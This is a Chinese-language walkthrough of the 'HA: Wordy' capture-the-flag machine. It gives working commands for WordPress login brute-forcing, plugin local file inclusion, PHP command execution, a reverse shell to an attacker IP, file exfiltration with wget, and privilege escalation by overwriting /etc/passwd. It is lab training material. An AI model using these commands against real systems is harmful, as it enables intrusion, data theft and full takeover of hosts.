HAWordy Walkthrough
HA: Wordy Walkthrough
Box Info
官网在这里:HA: Wordy
The Hack
先进行端口扫描
┌──(kali㉿kali)-[~] |
看来目标主机只开放了 80 端口,进一步做应用版本发现
┌──(kali㉿kali)-[~] |
80 开放的是 Apache httpd 服务,版本为 2.4.29 ,过高,漏洞较难利用,接下来尝试进行 WEB 目录扫描
dirsearch -u http://172.16.33.108/ |
发现 wp 目录和登陆界面,猜测是 wp 构建的网站,同时发现 info.php ,但内容仅为目标主机 IP
访问 /wordpress/wp-login.php ,尝试输入账户名和密码,发现存在用户名枚举漏洞,存在 admin 账户
用户名确定,可以试试密码爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -t 4 172.16.33.108 http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.33.108%2Fwordpress%2Fwp-admin%2F&testcookie=1:F=is incorrect' |
发送的参数可以在开发者工具中的 NetWork 中找到
可惜,rockyou 没跑出来,说明密码十分复杂
既然是 wp 构建的,使用 wpscan 扫扫看
wpscan --url http://172.16.33.108/wordpress --enumerate u,ap,at --disable-tls-checks |
发现了一些目录:
访问 readme ,只是一个下载引导页面
再来看主题,为 twentysixteen Version: 2.0,提示似乎有点过时了
去网上搜搜看对应版本是否有漏洞,可惜没有搜索到
再来看插件,分别是
mail-masta version 1.0 |
我们一个一个来,先是 mail-masta ,幸运的是,在 WordPress Plugin Mail Masta 1.0 - Local File Inclusion 页面能找到对应版本漏洞利用代码,而且通过 wpscan 的扫描我们得知,该 wp 服务的文件上传路径是默认的 /wp-content 目录,那么就可以直接利用代码
http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd |
成功
看看能不能包含 apache 服务日志:
http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/sites-enabled/000-default.conf |
可以包含,那么就尝试 apache 日志包含,可惜失败了,尝试通过伪协议执行命令
curl -X POST -d "<?php system('id'); ?>" "http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://input" |
成功执行
尝试反弹 shell
curl -X POST -d "<?php system('busybox nc 10.8.0.90 1234 -e /bin/bash'); ?>" "http://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=php://input" |
同时开启 nc 监听:
nc -nvlp 1234 |
反弹成功
在 /home/raj 目录下找到第一个 flag
aHR0cHM6Ly93d3cuaGFja2luZ2FydGljbGVzLmlu |
接下来就是提权,在工作目录下的 /html 目录中,发现可疑文件,意思是需要 ZIP 来解决
本机编写接收程序,将 zip 文件上传到宿主机上
from http.server import SimpleHTTPRequestHandler, HTTPServer |
启动接受服务
python3 upload_server.py |
在目标主机上执行:
wget --post-file=secret.zip --header="Content-Type: application/octet-stream" http://172.16.33.108:8000/ |
接收成功,解压时发现需要密码
将密码哈希保存为字典,使用 john 破译
zip2john secret.zip > secret.txt |
又没跑出密码,看来得在目标主机里找了(
再来枚举其他信息,看看有什么文件具有 SUID 权限:
find / -perm -u=s -type f 2>/dev/null |
看到了一个有趣的东西:
尝试使用 wget 的 SUID 提权,由于需要写入文件,所以进入 tmp 目录
www-data@ubuntu:/var/www/html/wordpress$ cd /tmp |
利用成功
接下来就是进入 root 目录获得最终 flag
# cd /root |
或者可以使用 cp 命令
将目标主机上的 /etc/passwd 文件内容拷贝至主机,生成已知的密码哈希(123)
┌──(kali㉿kali)-[~] |
在本地生成 passwd 文件,通过 goshs 上传至目标主机 tmp 目录,将上传的 passwd 拷贝覆盖原 /etc/passwd ,最后经过 su 提权
cd /tmp |
当然,直接 wget 覆盖 /etc/passwd 也可以
wget http://10.8.0.90/passwd -O /etc/passwd |
看来 secret.zip 是兔子洞,误导你的